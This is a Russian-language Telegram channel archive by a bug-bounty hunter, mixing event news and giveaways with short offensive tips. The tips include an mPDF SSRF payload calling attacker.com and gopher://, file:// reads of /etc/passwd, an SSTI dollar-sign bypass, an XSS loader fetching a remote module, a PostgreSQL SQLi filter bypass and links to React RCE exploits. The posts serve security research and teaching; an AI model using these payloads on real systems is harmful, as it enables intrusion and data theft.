11515
Чат: @shadow_chat_tg Предложения, вопросы, сотрудничество: @shdwpwn
Объявлены результаты конкурса Pentest Awards 2026! И мы постепенно будем публиковать интересные кейсы, с которыми наши эксперты участвовали в этом конкурсе.
Первым поздравляем Виктора Зварыкина: он уже второй год подряд забирает медаль "фаворит года по версии жюри". Вот что говорит сам автор о своём призовом кейсе:
"Глубина — история о том, почему в информационной безопасности недостаточно просто запустить готовый инструмент и получить результат. Главный герой находит уязвимость в реальной системе, но довольно быстро понимает, что успешный взлом — это только начало.
Вместе с более опытным другом он начинает разбираться, как устроена система и почему возможна эксплуатация этого вектора. Весь рассказ погружён в атмосферу цикла произведений "Глубина" Сергея Лукьяненко, где цифровой мир становится почти настоящим."
Суть кейса кратко:
Работы по анализу защищённости проходили в крупной иностранной компании, одной из главных задач пентеста было пробитие внешнего периметра.
На этапе OSINT-разведки был обнаружен веб-интерфейс IIS (Internet Information Services), в котором часто встречается уязвимость чтения имен файлов и директорий в legacy-формате 8.3. Вследствие этого был обнаружен эндпоинт с неизвестным веб-сервисом, войти в который получилось благодаря нативно используемым учетным данным.
Разобравшись с функциональностью приложения, наши герои выявили, что в одном из запросов информация передавалась как .NET-сериализованный объект, использовавший небезопасный сериализатор BinaryFormatter. Успешная эксплуатация привела к RCE через DNS-эксфильтрацию.
Как избежать подобных атак:
(1) Параметр реестра NtfsDisable8dot3NameCreation используется для управления созданием коротких имен файлов (в формате 8.3) на томах NTFS в операционных системах Windows. Этот параметр важен для обеспечения совместимости со старыми приложениями, использующими соглашение об именовании файлов 8.3, однако он также может влиять на производительность и безопасность.
Чтобы устранить уязвимость, нужно поменять значение параметра NtfsDisable8dot3NameCreation на 1. Путь к нему: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation
Перед изменением значения необходимо проверить функционал работающих сервисов, чтобы не нарушить работу legacy-приложений.
(2) Полностью откажитесь от BinaryFormatter: его крайне сложно безопасно настроить или защитить фильтрацией. Используйте современные сериализаторы — например, System.Text.Json, а принимаемые данные проверяйте по заранее определённой структуре и разрешённым типам.
Для компактного бинарного формата Microsoft рекомендует MessagePack или protobuf-net; для XML — DataContractSerializer.
Начиная с .NET 9 встроенная реализация BinaryFormatter уже отключена.
(3) Используйте сложные и несловарные пароли для аутентификации в веб-сервисы.
Полную версию кейса Виктора в стиле "Глубины" читайте в нашем гитхабе.
В этом году Pentest Award прошел в атмосфере роскоши, с шикарным видом на набережную и город. Удалось пообщаться с сильными профессионалами и послушать несколько кулстори из их практики. Ну и естественно узнать немного инсайдов непосредственно от победителей. Кстати, итоги церемонии можете глянуть на Хабре. Многие вроде как планируют опубликовать свои работы на хакере, так что в скором времени вы и сами с ними ознакомитесь, там действительно есть уникальные материалы. Отдельное спасибо @popsa_lizaa за приглашение и организацию, все прошло отлично. Кому интересно глянуть фоточки они есть тут, а также есть запись трансляции с самого награждения.
Читать полностью…
Если вы, как и я, откладывали статью до последнего, то пора отправлять.
Читать полностью…
В эту пятницу планирую посетить конференцию Периметр от Metascan'a и вечером на оффлайн часть Bugs Zone. Если будет кто из подписчиков и знакомых, пишите, буду рад пообщаться 👀
Читать полностью…
Стартовал прием заявок на Pentest Award 2026 и в этом году появилась новая номинация - AI. Думаю, за последний год у многих есть что сказать по этой теме.
Остальные номинации также на месте: Kill Chain, Системный взлом (Web & Logic), Device и Out of Scope. Среди призов стандартно респект от комьюнити и техника Apple.
Заявки принимают до 12 июля, а церемония награждения пройдет 14 августа в мск.
/channel/justsecurity/441
У mPDF есть brun0ne/breaking-mpdf-with-regex-and-logic-bf915300483f">интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf
Иногда, когда читаешь раскрытый репорт или статью на Medium об уязвимости в багбаунти, хочется потрогать это руками и заложить у себя в навыках ту или иную багу немного глубже.😵💫
Так вот, в итоге из этой мысли я сделал: https://labs.hackadvisor.io/
Все машинки собраны из публичных репортов и статей ресерчеров. Сейчас можно разворачивать стенд, решать задачи, получать подсказки и разбор уязвимости по итогу. Буду потихоньку пилить интересные машинки из раскрытых отчётов — надеюсь, вы тоже закинете что-то интересное: оно обязательно появится.
Сразу дисклеймер: у меня пока небольшой опыт в создании таких заданий, так что где-то может быть шероховато. Но со временем буду делать лучше — и сами задания, и их подачу — и добавлять больше интересных сценариев.
В целом Labs — это всего лишь MVP и первый этап будущей полноценной экосистемы HackAdvisor, которая, как и всё для сообщества, совершенно бесплатна.
Всех обнял, жду фидбек, баги и фича-реквесты🙌🏻
Ну и, пожалуйста, не ломайте сам Labs (даже если очень хочется) — пока там всё очень хрупко 🫠
Друзья, поздравляю вас с наступающим Новым годом 🎄
Пусть он принесёт больше спокойствия, уверенности в себе и своих идеях, новых положительных эмоций и ощущения, что вы идёте в правильном направлении.
Желаю интересных и результативных находок, роста там, где вам действительно важно, и достижения новых высот.
Постарайтесь отдохнуть в эти праздники и набраться сил. Пусть в новом году всё станет хотя бы немного лучше, чем в прошлом.
Спасибо, что вы здесь. Увидимся в 2026 ❤️
Вот с таким интересным принтом получил футболку от ребят из BI.ZONE Bug Bounty. Говорят, если присмотреться, то можно увидеть на нем множество знакомых лиц из багбаунти сообщества. Я узнал примерно половину)
Читать полностью…
Проснулся, а тут RCE в React Server Functions с одного запроса уже выполняется. Жаркие споры вчера не прошли напрасно.
https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
https://github.com/msanft/CVE-2025-55182
#web #rce #react
file://localhost/etc/passwd
что вернёт?
Да, вернётся /etc/passwd.
В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>
Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.
питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представим, ты нашёл SSTI, но WAF блокирует символ$
Что делать?
\N{CHARACTER NAME}. \N{dollar sign}{7*7} == ${7*7} == 49Content-Disposition есть параметр filename?
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % %0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. ⚀ разбор CVE из-за проблем синтаксиса [^]
⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]
⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. проломparse_urlв PHP [^]
Выбор дополнительных победителей (в количестве 2):
🏆 Победители:
1. Alexey (@AlexeyInfosec)
2. Evktolly (@evktolly)
✔️Проверить результаты
Недавно попалось приложение, которое не давало мне проэксплуатировать XSS. WAF тригерился на использование большинства функций и ключевых слов, таких как alert, document.cookie и других.
В таких случаях часто на помощь приходит функция import(), которая позволяет подгружать JS-скрипты из внешнего модуля. Более подробно c этой функцией можете ознакомиться в документации.
Для эксплуатации я использовал пэйлоад Javascript:import('//X55.is')// который через import() выполняет загрузку вредоносного JS-модуля, размещенного на сайте X55.is. Данный модуль выполняет обычный alert.
Кроме того, с его помощью можно удобно выполнить любой код, указав его через символ #. Все, что будет после #, не будет видно на сервере, что поможет обойти WAF, а модуль в import считает содержимое из document.location.hash и выполнит код.
javascript:import('//X55.is')//#alert('shdw')
®️ OFFZONE 2025 - ВСЁ
В этот раз 2 дня пролетели совсем незаметно. За это время успел со многими пообщаться и познакомиться, а также поучаствовать в некоторых активностях. Особый респект за мерч. В этом году, по моему скромному мнению, он был особенно хорош.
Спасибо @offzone_moscow за атмосферу, @bizone_bb за их ивенты, а всем вендорам за разнообразный скоуп. Ребятам из @vk_security отдельный респект за афтепати.
Рад был всех видеть и до новых встреч!
James Kettle дропнул свой ресерч про новые классы атак через HTTP Request Smuggling и, к моему большому респекту, подкрепил все это доступной лабой на Portswigger. Публичного решения нет, но лаба довольно простая. Теперь можно убивать HTTP/1.1 на реальных целях.
Читать полностью…
ТБанк вместо одной кнопки "Бабло", прислал сразу три. Осталось переписать скрипт, чтобы сразу Claude запускался.
Читать полностью…
Вокруг все такие молодые, красивые, богатые и успешные, поэтому призываю вас подать свою заявку на OFFZONE, чтобы рассказать, как стать таким же.
Читать полностью…
Race Condition одна из тех уязвимостей, которая порой позволяет находить баги там, где их совсем не ждешь. И иногда, чтобы получить какой-нибудь IDOR, достаточно очень много раз попросить об этом приложение.
В кейсе на скрине, как раз такой случай. При указании чужого id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД.
#web #race #idor
🪲 Топовый мерч, две недели закрытого скоупа, ламповая афтепати-вечеринка…
Все это ждет вас на нашем любимом приватном ивенте — BUGS ZONE 7.0.
Приглашения, как обычно, отправим багхантерам с лучшими результатами за сезон.
🔵Старт хантинга — 15 апреля.
🔵Церемония и афтепати — 22 мая в Москве.
Попасть на ивент может каждый. Сдавайте отчеты на нашей платформе и качайте рейтинг — мы обязательно заметим самых активных.
Скоро поделимся подробностями. Следите за апдейтами!
Искал тут что посмотреть под еду на ютубе, и реки вывели мне сей шедевр. Прекрасно все, начиная с кулстори самого проекта, который форсили во многих изданиях, заканчивая сайтом на пыхе с паролями юзеров в открытом виде.
https://www.youtube.com/watch?v=HGbP2ibfm8k
Захват аккаунта через telegram-бот: от своего номера к чужому профилю
Всего пять минут ожидания, один чужой номер телефона и обычная кнопка для получения ссылки — этого оказалось достаточно, чтобы обнаружить критическую уязвимость. Настолько минимальный сценарий неожиданно вскрыл проблему в логике обработки данных.
Читать 👉 https://blog.deteact.ru/account-takeover-thru-telegram-bot/
Недавно занял 2 место в приватном ивенте от ТБанка. Ребята порадовали интересным скоупом и достойными выплатами за что им большой респект 😎
Читать полностью…
Осознал что не все подписаны на меня в соц сети Илона Маска, поэтому возможно буду дублировать сюда некоторые посты
На выходных нашел SQLi в PostgreSQL приложении. Обычно я не пишу про такие находки, но этот случай показался достаточно интересным.
Инъекция была path-based (/api/v2/.../INJECTION_POINT/...), и путь не url декодился. Пробелы, слеши, кавычки и скобки приводили к 400 Bad Request.
Придумал обход используя dollar-quoting синтаксис PostgreSQL:
$$0$$OR-0-$$0$$NOTNULL
🎉 Результаты розыгрыша:
🏆 Победители:
1. Kot (@cyber_meow)
2. Rechnoj (@rechnoj)
3. Artur (@artur_almaev)
✔️Проверить результаты
🐞 Розыгрыш проходки на церемонию награждения BUGS ZONE 6.0
20 октября начнется любимый многими багхантерами BUGS ZONE 6.0. Традиционно нас ждет приватный скоуп, мерч, церемония награждения и мощное афтепати.
Потому запускаю розыгрыш 3 проходок на церемонию награждения, которая пройдет 7 ноября в Москве.
Условия простые:
1️⃣ Быть багхантером (достаточно одного оплаченного репорта за последний год на любой платформе). Отдельно попрошу пруфы у победителей в личке.
2️⃣ Быть подписанным на мой канал
Итоги подведу 19 октября - победитель получит приглашение на церемонию награждения BUGS ZONE 6.0 и сможет лично встретиться с командой платформы, триажерами и топовыми хантерами сезона.
Следите за апдейтами и удачи всем!
Наконец-то начали уже появляться в паблике некоторые доклады с Pentest Award и вот вам некоторые из них:
Во первых, прекрасный доклад от Ирины Беляевой, которая получила третье место в номинации "Пробив инфраструктуры", и поведала нам о том, как через принтер в переговорке удалось добраться до промышленной системы управления.
Во вторых, для всех фанатов киберпанка, @VeeZy_VeeZy подготовил футуристичный рассказ под названием 4911 про его встречу с формой входа и неожиданный обход OTP. Доклад стал фаворитом по версии жюри и определенно заслужил вашего внимания.
🎉 Результаты розыгрыша:
🏆 Победители:
1. 0tchim (@CryptoGodum)
2. Yaya (@yayatoure7)
✔️Проверить результаты